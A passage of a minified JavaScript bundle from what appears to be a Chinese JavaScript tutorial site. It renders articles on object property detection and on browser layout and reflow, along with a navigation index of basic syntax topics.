\u64cd\u4f5c\u7b26\u53ef\u4ee5\u5224\u65ad\u5c5e\u6027\u5728\u4e0d\u5728\u8be5\u5bf9\u8c61\u4e0a\uff0c\u4f46\u65e0\u6cd5\u533a\u522b\u81ea\u6709\u8fd8\u662f\u7ee7\u627f\u5c5e\u6027\u3002"),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"../../basic-concept/statements-and-declarations/iteration-statement/the-for-in-statement"},"for-in"),"\uff1a\u901a\u8fc7 ",l.a.createElement("code",null,"for-in")," \u5faa\u73af\u53ef\u4ee5\u904d\u5386\u51fa\u8be5\u5bf9\u8c61\u4e2d\u6240\u6709",l.a.createElement("strong",null,"\u53ef\u679a\u4e3e\u5c5e\u6027"),"\u3002"),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"../../standard-built-in-objects/fundamental-objects/object-objects/properties-of-the-object-prototype-object/hasOwnProperty"},"hasOwnProperty"),"\uff1a\u901a\u8fc7 ",l.a.createElement("code",null,"hasOwnProperty()")," \u65b9\u6cd5",l.a.createElement("strong",null,"\u53ef\u4ee5\u786e\u5b9a\u8be5\u5c5e\u6027\u662f\u81ea\u6709\u5c5e\u6027\u8fd8\u662f\u7ee7\u627f\u5c5e\u6027"),"\u3002"),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"../../standard-built-in-objects/fundamental-objects/object-objects/properties-of-the-object-constructor/keys"},"Object.keys"),"\uff1a",l.a.createElement("code",null,"Object.keys()")," \u65b9\u6cd5\u8fd4\u56de\u6240\u6709",l.a.createElement("strong",null,"\u53ef\u679a\u4e3e\u7684\u81ea\u6709\u5c5e\u6027"),"\u3002"),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"../../standard-built-in-objects/fundamental-objects/object-objects/properties-of-the-object-constructor/getOwnPropertyNames"},"Object.getOwnPropertyNames"),"\uff1a",l.a.createElement("code",null,"Object.getOwnPropertyNames()")," \u65b9\u6cd5\u8fd4\u56de\u6240\u6709\u81ea\u6709\u5c5e\u6027\uff08\u5305\u62ec\u4e0d\u53ef\u679a\u4e3e\u7684\u5c5e\u6027\uff09\u3002"))))}));t["default"]=e=>{var t=l.a.useContext(r["context"]),n=t.demos;return l.a.useEffect((()=>{var t;null!==e&&void 0!==e&&null!==(t=e.location)&&void 0!==t&&t.hash&&r["AnchorLink"].scrollToAnchor(decodeURIComponent(e.location.hash.slice(1)))}),[]),l.a.createElement(o,{demos:n})}},"+gX+":function(e,t,n){"use strict";n.r(t);var a=n("q1tI"),l=n.n(a),r=n("dEAq"),c=n("H1Ra"),o=l.a.memo((e=>{e.demos;return l.a.createElement(l.a.Fragment,null,l.a.createElement("div",{className:"markdown"},l.a.createElement("h1",{id:"\u5e03\u5c40"},l.a.createElement(r["AnchorLink"],{to:"#\u5e03\u5c40","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5e03\u5c40"),l.a.createElement("p",null,"\u6e32\u67d3\u5668\u5728\u521b\u5efa\u5b8c\u6210\u5e76\u6dfb\u52a0\u5230\u6e32\u67d3\u6811\u65f6\uff0c\u5e76\u4e0d\u5305\u542b\u4f4d\u7f6e\u548c\u5927\u5c0f\u4fe1\u606f\u3002\u8ba1\u7b97\u8fd9\u4e9b\u503c\u7684\u8fc7\u7a0b\u79f0\u4e3a",l.a.createElement("strong",null,"\u5e03\u5c40\uff08Layout\uff09")," \u6216 ",l.a.createElement("strong",null,"\u91cd\u6392\uff08Reflow\uff09"),"\u3002"),l.a.createElement("p",null,"HTML \u91c7\u7528 ",l.a.createElement("strong",null,"\u57fa\u4e8e\u6d41\u7684\u5e03\u5c40\u6a21\u578b"),"\uff0c\u8fd9\u610f\u5473\u7740\u5927\u591a\u6570\u60c5\u51b5\u4e0b\u53ea\u8981\u4e00\u6b21\u904d\u5386\u5c31\u80fd\u8ba1\u7b97\u51fa\u51e0\u4f55\u4fe1\u606f\u3002\u5904\u4e8e\u6d41\u4e2d\u9760\u540e\u4f4d\u7f6e\u5143\u7d20\u901a\u5e38\u4e0d\u4f1a\u5f71\u54cd\u9760\u524d\u4f4d\u7f6e\u5143\u7d20\u7684\u51e0\u4f55\u7279\u5f81\uff0c\u56e0\u6b64\u5e03\u5c40\u53ef\u4ee5\u6309\u4ece\u5de6\u81f3\u53f3\u3001\u4ece\u4e0a\u81f3\u4e0b\u7684\u987a\u5e8f\u904d\u5386\u6587\u6863\u3002"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement("strong",null,"\u5750\u6807\u7cfb"),"\u662f\u76f8\u5bf9\u4e8e\u6839\u8282\u70b9\u800c\u5efa\u7acb\u7684\uff0c\u4f7f\u7528\u7684\u662f\u4e0a\u5750\u6807\u548c\u5de6\u5750\u6807\u3002"),l.a.createElement("li",null,"\u6839\u6e32\u67d3\u5668\u7684\u4f4d\u7f6e\u5de6\u8fb9\u662f ",l.a.createElement("code",null,"(0, 0)"),"\uff0c\u5176\u5c3a\u5bf8\u4e3a\u89c6\u53e3\uff08\u4e5f\u5c31\u662f\u6d4f\u89c8\u5668\u7a97\u53e3\u7684\u53ef\u89c6\u533a\u57df\uff09\u3002")),l.a.createElement("p",null,"\u5e03\u5c40\u662f\u4e00\u4e2a ",l.a.createElement("strong",null,"\u9012\u5f52")," \u7684\u8fc7\u7a0b\u3002\u5b83\u4ece\u6839\u6e32\u67d3\u5668\uff08\u5bf9\u5e94\u4e8e HTML \u6587\u6863\u7684 ",l.a.createElement("code",null,"")," \u5143\u7d20\uff09\u5f00\u59cb\uff0c\u7136\u540e\u9012\u5f52\u904d\u5386\u90e8\u5206\u6216\u6240\u6709\u7684\u6e32\u67d3\u5668\u5c42\u6b21\u7ed3\u6784\uff0c\u6bcf\u4e00\u4e2a\u6e32\u67d3\u5668\u90fd\u4f1a\u901a\u8fc7\u8c03\u7528\u5176\u9700\u8981\u8fdb\u884c\u5e03\u5c40\u7684\u5b50\u4ee3\u7684 ",l.a.createElement("code",null,"layout")," \u65b9\u6cd5\uff0c\u4e3a\u6bcf\u4e00\u4e2a\u9700\u8981\u8ba1\u7b97\u7684\u6e32\u67d3\u5668\u8ba1\u7b97\u51e0\u4f55\u4fe1\u606f\u3002\u4efb\u4f55\u6709\u53ef\u80fd\u6539\u53d8\u5143\u7d20\u4f4d\u7f6e\u6216\u5927\u5c0f\u7684\u6837\u5f0f\u90fd\u4f1a\u89e6\u53d1\u8fd9\u4e2a Layout \u4e8b\u4ef6\u3002"),l.a.createElement("h2",{id:"\u810f\u4f4d\u7cfb\u7edf"},l.a.createElement(r["AnchorLink"],{to:"#\u810f\u4f4d\u7cfb\u7edf","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u810f\u4f4d\u7cfb\u7edf"),l.a.createElement("p",null,"\u4e3a\u907f\u514d\u5bf9\u6240\u6709\u7ec6\u5c0f\u66f4\u6539\u90fd\u8fdb\u884c\u6574\u4f53\u5e03\u5c40\uff0c\u6d4f\u89c8\u5668\u91c7\u7528\u4e86\u4e00\u79cd Dirty \u4f4d\u7cfb\u7edf\u3002\u5982\u679c\u67d0\u4e2a\u6e32\u67d3\u5668\u53d1\u751f\u4e86\u66f4\u6539\uff0c\u6216\u8005\u5c06\u81ea\u8eab\u53ca\u5176\u5b50\u4ee3\u6807\u6ce8\u4e3a ",l.a.createElement("code",null,"dirty"),"\uff0c\u5219\u9700\u8981\u8fdb\u884c\u5e03\u5c40\u3002\u7c7b\u4f3c\u4e8e\u810f\u68c0\u6d4b\u3002"),l.a.createElement("p",null,"\u6709 ",l.a.createElement("code",null,"dirty")," \u548c ",l.a.createElement("code",null,"children are dirty")," \u4e24\u79cd\u6807\u8bb0\u65b9\u6cd5\u3002",l.a.createElement("code",null,"children are dirty")," \u8868\u793a\u5c3d\u7ba1\u6e32\u67d3\u5668\u81ea\u8eab\u6ca1\u6709\u53d8\u5316\uff0c\u4f46\u5b83\u81f3\u5c11\u6709\u4e00\u4e2a\u5b50\u4ee3\u9700\u8981\u5e03\u5c40\u3002"),l.a.createElement("h2",{id:"\u5e03\u5c40\u65b9\u5f0f"},l.a.createElement(r["AnchorLink"],{to:"#\u5e03\u5c40\u65b9\u5f0f","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5e03\u5c40\u65b9\u5f0f"),l.a.createElement("h3",{id:"\u5168\u5c40\u5e03\u5c40\u548c\u589e\u91cf\u5e03\u5c40"},l.a.createElement(r["AnchorLink"],{to:"#\u5168\u5c40\u5e03\u5c40\u548c\u589e\u91cf\u5e03\u5c40","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5168\u5c40\u5e03\u5c40\u548c\u589e\u91cf\u5e03\u5c40"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement("strong",null,"\u5168\u5c40\u5e03\u5c40"),"\uff1a\u6307\u89e6\u53d1\u4e86\u6574\u4e2a\u6e32\u67d3\u6811\u8303\u56f4\u7684\u5e03\u5c40\uff0c\u6e32\u67d3\u5668\u7684 ",l.a.createElement("strong",null,"\u5168\u5c40\u6837\u5f0f\u66f4\u6539")," \u6216\u8005 ",l.a.createElement("strong",null,"\u5c4f\u5e55\u5927\u5c0f\u8c03\u6574")," \u90fd\u4f1a\u89e6\u53d1\u5168\u5c40\u5e03\u5c40",l.a.createElement("ul",null,l.a.createElement("li",null,"\u5f71\u54cd\u6240\u6709\u6e32\u67d3\u5668\u7684\u5168\u5c40\u6837\u5f0f\u66f4\u6539\uff0c\u4f8b\u5982\u5b57\u4f53\u5927\u5c0f\u66f4\u6539"),l.a.createElement("li",null,"\u5c4f\u5e55\u5927\u5c0f\u8c03\u6574"))),l.a.createElement("li",null,l.a.createElement("strong",null,"\u589e\u91cf\u5e03\u5c40"),"\uff1a\u91c7\u7528\u589e\u91cf\u65b9\u5f0f\uff0c\u4e5f\u5c31\u662f\u53ea\u5bf9 ",l.a.createElement("code",null,"dirty")," \u6e32\u67d3\u5668\u8fdb\u884c\u5e03\u5c40\uff08\u8fd9\u6837\u53ef\u80fd\u5b58\u5728\u9700\u8981\u8fdb\u884c\u989d\u5916\u5e03\u5c40\u7684\u5f0a\u7aef\uff09",l.a.createElement("ul",null,l.a.createElement("li",null,"\u5f53\u6765\u81ea\u7f51\u7edc\u7684\u989d\u5916\u5185\u5bb9\u6dfb\u52a0\u5230 DOM \u6811\u4e4b\u540e\uff0c\u65b0\u7684\u6e32\u67d3\u5668\u9644\u52a0\u5230\u4e86\u6e32\u67d3\u5668\u4e2d")))),l.a.createElement("h3",{id:"\u5f02\u6b65\u5e03\u5c40\u548c\u540c\u6b65\u5e03\u5c40"},l.a.createElement(r["AnchorLink"],{to:"#\u5f02\u6b65\u5e03\u5c40\u548c\u540c\u6b65\u5e03\u5c40","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5f02\u6b65\u5e03\u5c40\u548c\u540c\u6b65\u5e03\u5c40"),l.a.createElement("p",null,"\u5168\u5c40\u5e03\u5c40\u5f80\u5f80\u662f\u540c\u6b65\u89e6\u53d1\u7684\u3002 \u6709\u65f6\uff0c\u5f53\u521d\u59cb\u5e03\u5c40\u5b8c\u6210\u4e4b\u540e\uff0c\u5982\u679c\u4e00\u4e9b\u5c5e\u6027\uff08\u5982\u6eda\u52a8\u4f4d\u7f6e\uff09\u53d1\u751f\u53d8\u5316\uff0c\u5e03\u5c40\u5c31\u4f1a\u4f5c\u4e3a\u56de\u8c03\u800c\u89e6\u53d1\u3002"),l.a.createElement("p",null,"\u589e\u91cf\u5e03\u5c40\u662f\u5f02\u6b65\u6267\u884c\u7684\u3002"),l.a.createElement("ul",null,l.a.createElement("li",null,"Firefox \u5c06\u589e\u91cf\u5e03\u5c40\u7684 ",l.a.createElement("code",null,"reflow")," \u547d\u4ee4\u52a0\u5165\u961f\u5217\uff0c\u800c\u8c03\u5ea6\u7a0b\u5e8f\u4f1a\u89e6\u53d1\u8fd9\u4e9b\u547d\u4ee4\u7684\u6279\u91cf\u6267\u884c"),l.a.createElement("li",null,"WebKit \u4e5f\u6709\u7528\u4e8e\u6267\u884c\u589e\u91cf\u5e03\u5c40\u7684\u8ba1\u65f6\u5668\uff1a\u5bf9\u6e32\u67d3\u6811\u8fdb\u884c\u904d\u5386\uff0c\u5e76\u5bf9 ",l.a.createElement("code",null,"dirty")," \u6e32\u67d3\u5668\u8fdb\u884c\u5e03\u5c40\u3002 \u8bf7\u6c42\u6837\u5f0f\u4fe1\u606f\uff08\u4f8b\u5982 ",l.a.createElement("code",null,"offsetHeight"),"\uff09\u7684\u811a\u672c\u53ef\u540c\u6b65\u89e6\u53d1\u589e\u91cf\u5e03\u5c40\u3002")),l.a.createElement("h2",{id:"\u4f18\u5316\u65b9\u5f0f"},l.a.createElement(r["AnchorLink"],{to:"#\u4f18\u5316\u65b9\u5f0f","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u4f18\u5316\u65b9\u5f0f"),l.a.createElement("h3",{id:"\u6d4f\u89c8\u5668\u7684\u4f18\u5316\u7b56\u7565"},l.a.createElement(r["AnchorLink"],{to:"#\u6d4f\u89c8\u5668\u7684\u4f18\u5316\u7b56\u7565","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u6d4f\u89c8\u5668\u7684\u4f18\u5316\u7b56\u7565"),l.a.createElement("p",null,"\u5982\u679c\u5e03\u5c40\u662f\u7531 ",l.a.createElement("strong",null,"\u5927\u5c0f\u8c03\u6574")," \u6216 ",l.a.createElement("strong",null,"\u6e32\u67d3\u5668\u7684\u4f4d\u7f6e\uff08\u800c\u975e\u5927\u5c0f\uff09")," \u6539\u53d8\u800c\u89e6\u53d1\u7684\uff0c\u90a3\u4e48\u53ef\u4ee5\u4ece\u7f13\u5b58\u4e2d\u83b7\u53d6\u6e32\u67d3\u5668\u7684\u5927\u5c0f\uff0c\u800c\u65e0\u9700\u91cd\u65b0\u8ba1\u7b97\u3002\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u53ea\u6709\u4e00\u4e2a\u5b50\u6811\u8fdb\u884c\u4e86\u4fee\u6539\uff0c\u56e0\u6b64\u65e0\u9700\u4ece\u6839\u8282\u70b9\u5f00\u59cb\u5e03\u5c40\u3002\u8fd9\u9002\u7528\u4e8e\u5728\u672c\u5730\u8fdb\u884c\u66f4\u6539\u800c\u4e0d\u5f71\u54cd\u5468\u56f4\u5143\u7d20\u7684\u60c5\u51b5\uff0c\u4f8b\u5982\u5728\u6587\u672c\u5b57\u6bb5\u4e2d\u63d2\u5165\u6587\u672c\uff08\u5426\u5219\u6bcf\u6b21\u952e\u76d8\u8f93\u5165\u90fd\u5c06\u89e6\u53d1\u4ece\u6839\u8282\u70b9\u5f00\u59cb\u7684\u5e03\u5c40\uff09\u3002"),l.a.createElement("p",null,"\u56e0\u4e3a\u8fd9\u4e2a\u4f18\u5316\u65b9\u6848\uff0c\u6240\u4ee5\u4f60\u6bcf\u6539\u4e00\u6b21\u6837\u5f0f\uff0c\u5b83\u5c31\u4e0d\u4f1a\u56de\u6d41\uff08Reflow\uff09\u6216\u91cd\u7ed8\uff08Repaint\uff09\u4e00\u6b21\u3002\u4f46\u662f\u6709\u4e9b\u60c5\u51b5\uff0c\u5982\u679c\u6211\u4eec\u7684\u7a0b\u5e8f\u9700\u8981\u67d0\u4e9b\u7279\u6b8a\u7684\u503c\uff0c\u90a3\u4e48\u6d4f\u89c8\u5668\u9700\u8981\u8fd4\u56de\u6700\u65b0\u7684\u503c\uff0c\u800c\u4f1a\u6709\u4e00\u4e9b\u6837\u5f0f\u7684\u6539\u53d8\uff0c\u4ece\u800c\u9020\u6210\u9891\u7e41\u7684\u56de\u6d41\u548c\u91cd\u7ed8\u3002\u6bd4\u5982\u83b7\u53d6\u4e0b\u9762\u8fd9\u4e9b\u503c\uff0c\u6d4f\u89c8\u5668\u4f1a\u9a6c\u4e0a\u8fdb\u884c\u56de\u6d41\uff1a"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement("code",null,"offsetTop"),"\u3001",l.a.createElement("code",null,"offsetLeft"),"\u3001",l.a.createElement("code",null,"offsetWidth"),"\u3001",l.a.createElement("code",null,"offsetHeight")),l.a.createElement("li",null,l.a.createElement("code",null,"scrollTop"),"\u3001",l.a.createElement("code",null,"scrollLeft"),"\u3001",l.a.createElement("code",null,"scrollWidth"),"\u3001",l.a.createElement("code",null,"scrollHeight")),l.a.createElement("li",null,l.a.createElement("code",null,"clientTop"),"\u3001",l.a.createElement("code",null,"clientLeft"),"\u3001",l.a.createElement("code",null,"clientWidth"),"\u3001",l.a.createElement("code",null,"clientHeight")),l.a.createElement("li",null,l.a.createElement("code",null,"window.getComputedStyle()")),l.a.createElement("li",null,l.a.createElement("code",null,"currentStyle"))),l.a.createElement("h3",{id:"\u51cf\u5c11\u91cd\u7ed8\u91cd\u6392\u7684\u4f18\u5316\u7b56\u7565"},l.a.createElement(r["AnchorLink"],{to:"#\u51cf\u5c11\u91cd\u7ed8\u91cd\u6392\u7684\u4f18\u5316\u7b56\u7565","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u51cf\u5c11\u91cd\u7ed8\u91cd\u6392\u7684\u4f18\u5316\u7b56\u7565"),l.a.createElement("ul",null,l.a.createElement("li",null,"\u51cf\u5c11\u9010\u6761\u5730\u4fee\u6539 DOM \u8282\u70b9\u7684\u6837\u5f0f\uff0c\u5c3d\u53ef\u80fd\u4f7f\u7528 CSS \u7c7b\u8fdb\u884c\u6279\u91cf\u64cd\u4f5c"),l.a.createElement("li",null,"\u7f13\u5b58 DOM \u8282\u70b9\uff0c\u4f9b\u540e\u9762\u4f7f\u7528"),l.a.createElement("li",null,"\u628a DOM \u79bb\u7ebf\u540e\u4fee\u6539\uff0c\u5982\uff1a",l.a.createElement("code",null,"documentFragment"),"\u3001\u865a\u62df DOM\u3001\u6539\u4e3a ",l.a.createElement("code",null,"display:none")," \u518d\u663e\u793a"),l.a.createElement("li",null,"\u5c3d\u91cf\u4fee\u6539\u5c42\u7ea7\u6bd4\u8f83\u4f4e\u7684 DOM"),l.a.createElement("li",null,"\u6709\u52a8\u753b\u7684 DOM \u4f7f\u7528 ",l.a.createElement("code",null,"fixed")," \u6216 ",l.a.createElement("code",null,"absoult")," \u7684 ",l.a.createElement("code",null,"position"),"\uff0c\u8131\u79bb\u6587\u6863\u6d41")),l.a.createElement("h3",{id:"\u5e03\u5c40\u5904\u7406"},l.a.createElement(r["AnchorLink"],{to:"#\u5e03\u5c40\u5904\u7406","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5e03\u5c40\u5904\u7406"),l.a.createElement("p",null,"\u5e03\u5c40\u901a\u5e38\u5177\u6709\u4ee5\u4e0b\u6a21\u5f0f\uff1a"),l.a.createElement("ol",null,l.a.createElement("li",null,"\u7236\u6e32\u67d3\u5668\u786e\u5b9a\u81ea\u5df1\u7684\u5bbd\u5ea6"),l.a.createElement("li",null,"\u7236\u6e32\u67d3\u5668\u4f9d\u6b21\u5904\u7406\u5b50\u6e32\u67d3\u5668\uff0c\u5e76\u4e14\uff1a",l.a.createElement("ol",null,l.a.createElement("li",null,"\u653e\u7f6e\u5b50\u6e32\u67d3\u5668\uff08\u8bbe\u7f6e\u6a2a\u7eb5\u5750\u6807\uff09"),l.a.createElement("li",null,"\u5982\u679c\u6709\u5fc5\u8981\uff0c\u8c03\u7528\u5b50\u6e32\u67d3\u5668\u7684\u5e03\u5c40\uff08\u5982\u679c\u5b50\u6e32\u67d3\u5668\u662f ",l.a.createElement("code",null,"dirty")," \u7684\uff0c\u6216\u8005\u8fd9\u662f\u5168\u5c40\u5e03\u5c40\uff0c\u6216\u8005\u51fa\u4e8e\u5176\u4ed6\u67d0\u4e9b\u539f\u56e0\uff09\uff0c\u8fd9\u4f1a\u8ba1\u7b97\u5b50\u6e32\u67d3\u5668\u7684\u9ad8\u5ea6"))),l.a.createElement("li",null,"\u7236\u6e32\u67d3\u5668\u6839\u636e\u5b50\u6e32\u67d3\u5668\u7684\u7d2f\u52a0\u9ad8\u5ea6\u4ee5\u53ca\u8fb9\u8ddd\u548c\u8865\u767d\u7684\u9ad8\u5ea6\u6765\u8bbe\u7f6e\u81ea\u8eab\u9ad8\u5ea6\uff0c\u6b64\u503c\u4e5f\u53ef\u4f9b\u7236\u6e32\u67d3\u5668\u7684\u7236\u6e32\u67d3\u5668\u4f7f\u7528"),l.a.createElement("li",null,"\u5c06\u5176\u7236 dirty \u4f4d\u8bbe\u7f6e\u4e3a ",l.a.createElement("code",null,"false"))),l.a.createElement("h3",{id:"\u5bbd\u5ea6\u8ba1\u7b97"},l.a.createElement(r["AnchorLink"],{to:"#\u5bbd\u5ea6\u8ba1\u7b97","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5bbd\u5ea6\u8ba1\u7b97"),l.a.createElement("p",null,"\u6e32\u67d3\u5668\u5bbd\u5ea6\u662f\u6839\u636e\u5bb9\u5668\u5757\u7684\u5bbd\u5ea6\u3001\u6e32\u67d3\u5668\u6837\u5f0f\u4e2d\u7684 ",l.a.createElement("code",null,"width")," \u5c5e\u6027\u4ee5\u53ca\u8fb9\u8ddd\u548c\u8fb9\u6846\u8ba1\u7b97\u5f97\u51fa\u7684\u3002"),l.a.createElement("p",null,"\u4f8b\u5982\u4ee5\u4e0b ",l.a.createElement("code",null,"div")," \u7684\u5bbd\u5ea6\uff1a"),l.a.createElement(c["a"],{code:'
                                                                                                                                ',lang:"html"}),l.a.createElement("p",null,"\u5c06\u7531 Webkit \u8ba1\u7b97\u5982\u4e0b\uff08BenderBox \u7c7b\uff0c",l.a.createElement("code",null,"calcWidth")," \u65b9\u6cd5\uff09\uff1a"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement("p",null,"\u5bb9\u5668\u7684\u5bbd\u5ea6\u53d6\u5bb9\u5668\u7684 ",l.a.createElement("code",null,"availableWidth")," \u548c 0 \u4e2d\u7684\u8f83\u5927\u503c\u3002",l.a.createElement("code",null,"availableWidth")," \u5728\u672c\u4f8b\u4e2d\u76f8\u5f53\u4e8e ",l.a.createElement("code",null,"contentWidth"),"\uff0c\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a"),l.a.createElement(c["a"],{code:"clientWidth() - paddingLeft() - paddingRight();",lang:"js"}),l.a.createElement("p",null,l.a.createElement("code",null,"clientWidth")," \u548c ",l.a.createElement("code",null,"clientHeight")," \u8868\u793a\u4e00\u4e2a\u5bf9\u8c61\u7684\u5185\u90e8\uff08\u9664\u53bb\u8fb9\u6846\u548c\u6eda\u52a8\u6761\uff09\u3002")),l.a.createElement("li",null,l.a.createElement("p",null,"\u5143\u7d20\u7684\u5bbd\u5ea6\u662f ",l.a.createElement("code",null,"width")," \u6837\u5f0f\u5c5e\u6027\u3002\u5b83\u4f1a\u6839\u636e\u5bb9\u5668\u5bbd\u5ea6\u7684\u767e\u5206\u6bd4\u8ba1\u7b97\u5f97\u51fa\u4e00\u4e2a\u7edd\u5bf9\u503c\u3002")),l.a.createElement("li",null,l.a.createElement("p",null,"\u7136\u540e\u52a0\u4e0a\u6c34\u5e73\u65b9\u5411\u7684\u8fb9\u6846\u548c\u8865\u767d\u3002"))),l.a.createElement("h3",{id:"\u6362\u884c"},l.a.createElement(r["AnchorLink"],{to:"#\u6362\u884c","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u6362\u884c"),l.a.createElement("p",null,"\u5982\u679c\u6e32\u67d3\u5668\u5728\u5e03\u5c40\u8fc7\u7a0b\u4e2d\u9700\u8981\u6362\u884c\uff0c\u4f1a\u7acb\u5373\u6682\u505c\u5e03\u5c40\uff0c\u5e76\u544a\u77e5\u5176\u7236\u4ee3\u9700\u8981\u6362\u884c\u3002\u7236\u4ee3\u4f1a\u521b\u5efa\u989d\u5916\u7684\u6e32\u67d3\u5668\uff0c\u5e76\u5bf9\u5176\u8c03\u7528\u5e03\u5c40\u3002"),l.a.createElement("h2",{id:"\u53c2\u8003\u8d44\u6599"},l.a.createElement(r["AnchorLink"],{to:"#\u53c2\u8003\u8d44\u6599","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u53c2\u8003\u8d44\u6599"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"https://juejin.im/post/5b0a6f1af265da0ddb63ecd9#heading-16"},"\ud83d\udcdd \u6d4f\u89c8\u5668\u539f\u7406")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"https://www.html5rocks.com/zh/tutorials/internals/howbrowserswork/#Introduction"},"\ud83d\udcdd \u6d4f\u89c8\u5668\u7684\u5de5\u4f5c\u539f\u7406\uff1a\u65b0\u5f0f\u7f51\u7edc\u6d4f\u89c8\u5668\u5e55\u540e\u63ed\u79d8")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"https://www.cnblogs.com/wjlog/p/5744753.html"},"\ud83d\udcdd \u524d\u7aef\u5fc5\u8bfb\uff1a\u6d4f\u89c8\u5668\u5185\u90e8\u5de5\u4f5c\u539f\u7406")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"http://www.nowamagic.net/academy/detail/48110609"},"\ud83d\udcdd \u5448\u73b0\u5668\u7684 Dirty \u4f4d\u7cfb\u7edf\u4e0e\u5404\u79cd\u5e03\u5c40\u4ecb\u7ecd")))))}));t["default"]=e=>{var t=l.a.useContext(r["context"]),n=t.demos;return l.a.useEffect((()=>{var t;null!==e&&void 0!==e&&null!==(t=e.location)&&void 0!==t&&t.hash&&r["AnchorLink"].scrollToAnchor(decodeURIComponent(e.location.hash.slice(1)))}),[]),l.a.createElement(o,{demos:n})}},"+hn9":function(e,t,n){"use strict";n.r(t);var a=n("q1tI"),l=n.n(a),r=n("dEAq"),c=l.a.memo((e=>{e.demos;return l.a.createElement(l.a.Fragment,null,l.a.createElement("div",{className:"markdown"},l.a.createElement("h1",{id:"\u57fa\u672c\u8bed\u6cd5"},l.a.createElement(r["AnchorLink"],{to:"#\u57fa\u672c\u8bed\u6cd5","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u57fa\u672c\u8bed\u6cd5"),l.a.createElement("p",null,l.a.createElement("strong",null,"\u57fa\u672c\u8bed\u6cd5 Basic Concept")),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement("strong",null,"\u8bcd\u6cd5\u8bed\u6cd5"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/lexical-grammar/lexical-grammar"},"\u8bcd\u6cd5\u8bed\u6cd5")))),l.a.createElement("li",null,l.a.createElement("strong",null,"\u6570\u636e\u7c7b\u578b\u548c\u503c"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/data-types/data-types"},"\u6570\u636e\u7c7b\u578b")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/data-types/type-check"},"\u7c7b\u578b\u68c0\u6d4b")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/data-types/type-conversion"},"\u7c7b\u578b\u8f6c\u6362")))),l.a.createElement("li",null,l.a.createElement("strong",null,"\u8868\u8fbe\u5f0f"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement("strong",null,"\u8868\u8fbe\u5f0f"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/expressions/literal"},"\u5b57\u9762\u91cf")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/expressions/array-initializer"},"\u6570\u7ec4\u521d\u59cb\u5316\u8868\u8fbe\u5f0f")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/expressions/object-initializer"},"\u5bf9\u8c61\u521d\u59cb\u5316\u8868\u8fbe\u5f0f")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/expressions/property-accessors"},"\u5c5e\u6027\u8bbf\u95ee\u5668")))),l.a.createElement("li",null,l.a.createElement("strong",null,"\u8fd0\u7b97\u7b26"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/operators/in"},"in")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/operators/instanceof"},"instanceof")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/operators/delete"},"delete")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/operators/typeof"},"typeof")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/operators/void"},"void")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/operators/string-operator"},"\u5b57\u7b26\u4e32\u8fd0\u7b97\u7b26")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/operators/arithmetic-operators"},"\u7b97\u672f\u8fd0\u7b97\u7b26")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/operators/update-expressions"},"\u66f4\u65b0\u8868\u8fbe\u5f0f")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/operators/assignment-operators"},"\u8d4b\u503c\u8fd0\u7b97\u7b26")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"/basic-concept/expressions/operators/bitwise-operators"},"\u6309\u4f4d\u8fd0\u7b97\u7b26")),l.